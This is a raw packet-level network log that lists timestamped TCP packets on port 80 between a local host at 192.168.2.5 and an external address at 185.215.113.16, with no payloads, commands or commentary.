Oct 29, 2024 05:02:39.251193047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251215935 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251246929 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251251936 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251287937 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251295090 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251328945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251343012 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251378059 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251394987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251424074 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251483917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251518965 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251533031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251554966 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251570940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251605034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251612902 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251647949 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251673937 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251708984 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251718044 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251744032 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251756907 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251777887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.251785040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.251818895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.255923986 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.255954027 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.255980015 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.255995035 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256062984 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256097078 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256114006 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256135941 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256148100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256181002 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256197929 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256216049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256238937 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256257057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256263018 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256295919 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256310940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256345034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256360054 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256383896 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256385088 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256417990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256442070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256458044 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256496906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256531954 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.256548882 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.256571054 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.292057991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.292114019 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.292115927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.292146921 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.292164087 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.292181969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.292186975 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.292217970 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.292221069 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.292252064 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.292272091 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.292290926 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293517113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293553114 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293570042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293593884 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293607950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293641090 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293656111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293673992 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293679953 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293719053 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293726921 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293761969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293770075 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293796062 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293804884 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293833017 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293840885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293879032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293934107 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.293983936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.293984890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294019938 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294023991 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294053078 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294063091 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294087887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294094086 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294136047 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294169903 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294204950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294218063 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294240952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294249058 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294255972 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294274092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294280052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294308901 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294321060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294359922 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294406891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294455051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294460058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294496059 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294511080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294528008 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294534922 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294562101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294568062 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294604063 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294673920 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294723988 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294725895 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294761896 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294771910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294794083 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294806004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294828892 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294843912 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294863939 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.294869900 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294903994 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.294992924 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295022011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295042038 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295058012 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295061111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295111895 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295114994 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295164108 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295166016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295200109 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295206070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295234919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295248985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295269966 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295284033 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295304060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295316935 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295355082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.295357943 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.295398951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338360071 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338418961 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338445902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338489056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338517904 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338562965 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338571072 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338609934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338619947 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338644028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338650942 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338692904 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338699102 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338731050 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338746071 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338769913 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338783979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338816881 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338826895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338850975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338856936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338885069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338896036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338929892 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338939905 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.338985920 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.338989973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339026928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339035988 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339076042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339087963 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339122057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339135885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339158058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339165926 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339194059 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339206934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339232922 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339238882 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339281082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339287996 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339338064 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339344025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339394093 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339399099 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339435101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339446068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339477062 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339487076 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339517117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339535952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339575052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339607000 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339642048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339648008 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339678049 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339694023 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339726925 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339741945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339768887 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339780092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339812994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339826107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339873075 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339898109 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339935064 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339952946 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.339968920 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.339972019 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.340001106 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.340014935 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.340037107 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.340039015 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.340080976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370517015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370570898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370572090 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370613098 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370625019 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370661020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370667934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370693922 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370707989 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370743036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370748043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370781898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370805025 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370815992 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370825052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370846033 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370855093 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370881081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370891094 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370914936 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370925903 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370949984 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.370961905 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.370985031 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371001959 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371018887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371032953 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371056080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371206045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371238947 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371258020 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371275902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371279955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371320963 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371351957 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371392965 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371402025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371437073 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371442080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371469975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371475935 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371504068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371515989 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371539116 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.371542931 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.371582031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375106096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375154972 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375165939 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375216961 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375220060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375264883 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375273943 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375308037 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375336885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375351906 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375364065 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375406027 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375413895 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375448942 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375461102 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375483036 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375490904 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375529051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375538111 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375571966 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375583887 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375611067 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375626087 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375664949 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375667095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375699997 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375705957 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375735044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375746965 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375768900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375776052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375806093 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.375816107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.375847101 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.411434889 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.411475897 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.411494970 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.411525965 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.411546946 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.411643028 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.411760092 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.412859917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.412914038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.412949085 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.412966967 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413036108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413053036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413090944 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413132906 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413142920 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413177013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413208961 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413227081 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413243055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413275957 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413309097 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413326979 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413341045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413383007 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413392067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413420916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413430929 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413451910 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413466930 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413494110 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413503885 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413537979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413552046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413578987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.413583994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413615942 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.413624048 CET	49778	80	192.168.2.5	185.215.113.16
